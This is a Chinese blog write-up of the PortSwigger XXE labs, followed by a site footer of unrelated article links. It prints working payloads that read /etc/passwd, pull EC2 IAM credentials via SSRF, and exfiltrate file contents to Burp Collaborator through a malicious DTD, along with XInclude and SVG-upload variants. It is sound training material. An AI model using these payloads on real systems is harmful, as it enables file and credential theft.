PortSwigger-02-XXE

一:漏洞原理

1、XXE

  • XXE全稱xml外部實體注入

  • XML:是一種用于標記電子文件使其具有結構性的標記語言,提供統一的方法來描述和交換獨立于應用程序或者供應商的結構化數據,它可以用來標記數據,定義數據類型、是一種允許用戶對自己的標記語言進行定義的元語言

  • DTD:是一種描述XML數據結構的規則,可以包含實體定義,這些實體允許XML數據引入外部資源,如果文檔中應用了DTD,解析器會嘗試加載和解析DTD文件

  • 參考鏈接:https://blog.csdn.net/fuhanghang/article/details/123272261

2、XXE原理

XML外部實體注入是一種web安全漏洞,攻擊者可以通過引入自定義的實體來強制服務器加載外部資源。它通常允許攻擊者查看應用程序服務器文件系統上的文件,并于應用程序本身可以訪問的任何后端或者外部數據進行交互。XXE漏洞觸發點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可以上傳惡意的xml文件讀取文件或者獲取shell.

3、XXE特征

1、url是 .ashx后綴
2、響應體是xml
3、看請求包中有一個Accept:看看其中有沒有xml

二:PortSwigger靶場

靶場復現參考鏈接:https://blog.csdn.net/qq_53079406/article/details/128642758

1、利用外部實體檢索文件

(1)原理:構造惡意的xml數據,引入外部實體,讀取服務器的文件
(2)漏洞點
在這里插入圖片描述
bp抓包分析:發現提交了xml數據:

  • <?xml version="1.0" encoding="UTF-8"?> 聲明這是一個XML文檔
  • 表示是根節點
  • 1 子節點:表示產品的標識號
<?xml version="1.0" encoding="UTF-8"?> 
<stockCheck><productId>1</productId><storeId>1</storeId>
</stockCheck>

構造payload讀取文件

  • 外部實體定義 <!DOCTYPE>表示文檔的類型
  • <!ENTITY xxe SYSTEM "file:///etc/passwd"> 定義一個外部的實體
  • xxe是實體的名稱、SYSTEM:引入外部的資源 、file:///etc/passwd :表示文件的路徑,表示需要讀取的文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>

2、利用XXE執行SSRF攻擊

(1)原理:引入外部實體惡意的xml代碼讀取遠程服務器的敏感數據,使用<!ENTITY>定義外部實體,然后通過SYSTEM指向EC2元數據終端點,&xxe;就是將惡意的實體插入的XML數據的字段中

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>

在這里插入圖片描述
成功讀取到了敏感數據

3、具有帶外交互的盲XXE

(1)原理:利用外帶技術,也就是bp的Collaborator可以捕獲請求和響應包

(2)和上述的情況有點類型,但是沒有回顯,需要利用外帶技術,也就是bp的Collaborator,參考鏈接:

https://blog.csdn.net/wang_624/article/details/123172519

和問題2的情況有點類似,直接構造payload(其中http://8hqnvlwfu9tl88940w80p9w1zs5it7.burpcollaborator.net是bp生成的)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "http://8hqnvlwfu9tl88940w80p9w1zs5it7.burpcollaborator.net">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>

成功外帶看到相應包
在這里插入圖片描述

4、通過 XML 參數實體進行帶外交互的盲 XXE

(1)嘗試使用例三中的payload進行測試,回顯"Entities are not allowed for security reasons",可能是增加了一些過濾限制
(2)使用參數實體進行繞過:

  • 常規實體XML在正文中引用,而參數實體在只能在DTD內部用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://389f7odkpxhdbcf42849rsqcx33vrk.burpcollaborator.net">%xxe;
]>
<stockCheck><productId>1</productId><storeId>1</storeId>
</stockCheck>

5、利用盲XEE使用外部惡意DTD泄露數據

(1)目標:

  • 泄露服務器上的/etc/hostname文件的內容,使用Burp Collaborator 或實驗室提供的漏洞利用服務器接收泄露的數據。
    (2)實現原理
  • 構造一個惡意的DTD文件:他會加載服務器的指定文件并通過外部網絡發送到攻擊者的服務器中(通過網絡請求將數據外帶)
  • 然后xxe注入訪問我們上傳的DTD文件讓其執行然后將敏感數據帶出到bp的服務器中
    (1)首先還是盲XML,需要利用外帶技術
  • <!ENTITY % file SYSTEM "file:///etc/hostname"> :定義一個參數實體file,SYSTEM讀取指定文件內容
  • 定義eval參數實體,
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://l5rx46a2mfev8ucmzq1roanuul0eo3.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;
https://exploit-0a5a0085035d308680ed8eba01a8007d.exploit-server.net/exploit
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a5a0085035d308680ed8eba01a8007d.exploit-server.net/exploit"> %xxe;]>

成功外帶拿到信息

6、利用盲XXE通過錯誤消息檢索數據

原理:將惡意的DTD文件托管到VPS上,然后在xxe注入引入這個文件的鏈接來執行DTD中的代碼
(1)請使用外部 DTD 觸發顯示文件內容的錯誤消息。/etc/passwd

DTD文件是一種定義XML文檔結構的文件,主要用于執行XML文檔的合法元素以及屬性、子元素的排列順序等規則

(2)上傳惡意的DTD文件,然后獲取惡意的DTD文件的url位置

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

(3)xxe注入外帶信息(參數實體)

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ac3001e03dad7988092c570014c00a2.exploit-server.net/exploit"> %xxe;]>

在這里插入圖片描述

7、利用XInclude檢索文件

  • 相比于前面的實驗,我們無法控制整個XML文檔,因此無法定義DTD來啟動經典的XXE攻擊
    在這里插入圖片描述
  • 但是可以使用XInclude/etc/passwd語句來注入
    XInclude是一種xml技術,用于在一個XML文檔中動態插入其他XML文檔或者文本內容。XInclude的工作機制是基于XML解析器的擴展支持,通過xi:include標簽、可以引入外部數據并將其內容直接嵌入到XML文檔中
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

注入測試
在這里插入圖片描述

8、通過圖像文件上傳利用XXE

(1)原理:一些應用程序允許用戶上傳圖像、并在上傳之后處理或者驗證這些圖像。如果支持上傳SVG圖像但是服務端沒有對xml數據進行嚴格的校驗的化,那么攻擊者就可以提交惡意的SVG圖像,從而達到XXE漏洞的隱藏攻擊面
(2)創建 1.svg 其中內容包括如下

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

(3)在博客文章上發表評論,并將此圖像作為頭像上傳,然后訪問該圖片就可以執行xml代碼
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/81622.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/81622.shtml
英文地址,請注明出處:http://en.pswp.cn/web/81622.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

常規算法學習

算法 1. 排序算法1. 歸并排序1.1 普通歸并排序1.2 優化后的歸并排序&#xff08;TimSort&#xff09; 2. 插入排序2.1 直接插入排序2.2 二分插入排序2.3 成對插入排序 3. 快速排序3.1 單軸快速排序3.2 雙軸快排 4. 計數排序 2. 樹1. 紅黑樹&#xff08;Red Black Tree&#xff…

關于線程死鎖的相關知識

前言 今天學習了線程死鎖的相關知識。線程死鎖是非常重要的知識&#xff0c;寫成博客&#xff0c;加深自己對于知識的理解。 線程死鎖 結語 希望可以幫助到大家~

EMQX啟用單向認證的SSl/TLS連接的配置步驟

先確保您已經安裝了 OpenSSL 執行openssl version -a 獲取 openssl.cnf 目錄 生成自簽名服務端證書 CA 證書生成 server-ca.crt openssl req \-new \-newkey rsa:2048 \-days 365 \-nodes \-x509 \-subj "/CCN/OEMQ Technologies Co., Ltd/CNEMQ CA" \-keyout s…

依賴nacos實例動態創建線程池并監聽服務上下線

版本 Spring Booot 版本 3.2.4Spring Cloud 版本 2023.0.1Spring Cloud Alibaba 版本 2023.0.1.2 依賴 <dependency><groupId>com.alibaba.cloud</groupId><artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId> </depe…

全面指南:使用Node.js和Python連接與操作MongoDB

在現代Web開發中&#xff0c;數據庫是存儲和管理數據的核心組件。MongoDB作為一款流行的NoSQL數據庫&#xff0c;以其靈活的數據模型、高性能和易擴展性廣受開發者歡迎。無論是使用Node.js還是Python&#xff0c;MongoDB都提供了強大的官方驅動和第三方庫&#xff0c;使得數據庫…

LeetCode 3068.最大節點價值之和:腦筋急轉彎+動態規劃(O(1)空間)

【LetMeFly】3068.最大節點價值之和&#xff1a;腦筋急轉彎動態規劃&#xff08;O(1)空間&#xff09; 力扣題目鏈接&#xff1a;https://leetcode.cn/problems/find-the-maximum-sum-of-node-values/ 給你一棵 n 個節點的 無向 樹&#xff0c;節點從 0 到 n - 1 編號。樹以長…

HTTPS加密通信詳解及在Spring Boot中的實現

HTTPS&#xff08;Hyper Text Transfer Protocol Secure&#xff09;是HTTP的安全版本&#xff0c;通過SSL/TLS協議為通訊提供加密、身份驗證和數據完整性保護。 一、HTTPS核心原理 1.加密流程概述 客戶端發起HTTPS請求&#xff08;連接到服務器443端口&#xff09;服務器返…

解決線程安全問題

前言 昨天學習了如何去解決線程不安全的問題。一般方法都是通過加鎖來處理&#xff0c;跟大家分享一波 。 解決線程安全問題 結語 希望可以幫助到大家~ byebye

網絡常識:網線和光纖的區別

網絡常識&#xff1a;網線和光纖的區別 一. 介紹二. 網線2.1 什么是網線&#xff1f;2.2 網線的主要類別2.3 網線的優勢2.4 網線的劣勢 三. 光纖3.1 什么是光纖&#xff1f;3.2 光纖的主要類別3.3 光纖的優勢3.4 光纖的劣勢 四. 網線 vs 光纖&#xff1a;誰更適合你&#xff1f…

win11 禁用/恢復 內置筆記本鍵盤(保證管用)

文章目錄 禁用啟用 禁用 1&#xff09;按下 win x&#xff0c;點擊 設備管理器 2&#xff09;拔掉所有筆記本外設&#xff08;一定要都拔掉&#xff0c;不然后面禁用設備會混淆&#xff09;&#xff0c;然后右鍵點擊 鍵盤 > HID Keyboard Device 2&#xff09;點擊 更新…

Three.js搭建小米SU7三維汽車實戰(5)su7登場

汽車模型加載 我們在sktechfab上下載的汽車是glb的文件格式&#xff0c;所以使用gltfLoader進行加載。這里將小車直接加載進來看看效果&#xff1b; import { GLTFLoader } from "three/addons/loaders/GLTFLoader.js"; ....其余代碼省略 const gltfLoader new GLT…

ETL怎么實現多流自定義合并?

隨著信息技術的迅猛發展以及數據生成環境的多樣化&#xff0c;互聯網、物聯網和社交媒體的廣泛應用導致各種設備和平臺不斷產生大量數據&#xff0c;需要整合這些數據&#xff0c;從而進行數據融合。數據集成和管理平臺ETLCloud&#xff0c;主要用于支持數據的抽取&#xff08;…

數據結構- 10種常見樹:二叉樹、平衡二叉樹、完全二叉樹

一、樹 樹型結構是一類重要的非線性數據結構。其中以樹和二叉樹最為常用&#xff0c;直觀看來&#xff0c;樹是以分支關系定義的層次結構。把它叫做“樹”是因為它常看起來像一棵倒掛的樹&#xff0c;也就是說它常是根朝上&#xff0c;而葉朝下的。 1.樹的定義&#xff1a; 樹…

Java常用加密方式

一&#xff0c;加密算法分類 對稱加密&#xff1a;指加密和解密的密鑰相同&#xff0c;優點就是加解密的效率高且易于實現。 非對稱加密&#xff1a;指加密和解密的密鑰不相同&#xff0c;也稱為公私要加密。 不可逆加密&#xff1a;特征就是加密過程不需要密鑰&#xff0c;…

SQLite軟件架構與實現源代碼淺析

概述 SQLite 是一個用 C 語言編寫的庫&#xff0c;它成功打造出了一款小型、快速、獨立、具備高可靠性且功能完備的 SQL 數據庫引擎。本文檔將為您簡要介紹其架構、關鍵組件及其協同運作模式。 SQLite 顯著特點之一是無服務器架構。不同于常規數據庫&#xff0c;它并非以單獨進…

讓 Deepseek GPS測速

下面是一個簡單的微信小程序GPS測速功能的實現代碼&#xff0c;包括前端頁面和后端邏輯。 1. 頁面結構 (index.wxml) <view class"container"><view class"speed-display"><text class"speed-value">{{speed}}</text>…

什么是軟件的生命周期,以及常見的開發測試模型

目錄 一、軟件的生命周期 1、什么是生命周期&#xff1f; 2、每個階段都要做些什么&#xff1f; 二、常見的開發模型 1、瀑布模型 2、螺旋模型 3、增量模型、迭代模型 4、敏捷模型 scrum模型 三個角色 五個會議 一、軟件的生命周期 1、什么是生命周期&#xff…

JWT安全:弱簽名測試.【實現越權繞過.】

JWT安全&#xff1a;假密鑰【簽名隨便寫實現越權繞過.】 JSON Web 令牌 (JWT)是一種在系統之間發送加密簽名 JSON 數據的標準化格式。理論上&#xff0c;它們可以包含任何類型的數據&#xff0c;但最常用于在身份驗證、會話處理和訪問控制機制中發送有關用戶的信息(“聲明”)。…

數據分析與應用-----使用scikit-learn構建模型

目錄 一、使用sklearn轉換器處理數據 &#xff08;一&#xff09;、加載datasets模塊中的數據集 &#xff08;二&#xff09;、將數據集劃分為訓練集和測試集 ?編輯 train_test_spli &#xff08;三&#xff09;、使用sklearn轉換器進行數據預處理與降維 PCA 二、 構…

【Tomcat】Tomcat端口僅允許本地訪問設置方法

要設置Tomcat端口僅允許本地訪問&#xff0c;可以通過以下兩種主要方式實現&#xff1a; 方法一&#xff1a;修改Tomcat配置文件&#xff08;推薦&#xff09; 修改 server.xml 文件 打開Tomcat的配置文件 conf/server.xml&#xff0c;找到 <Connector> 標簽&#xff08;…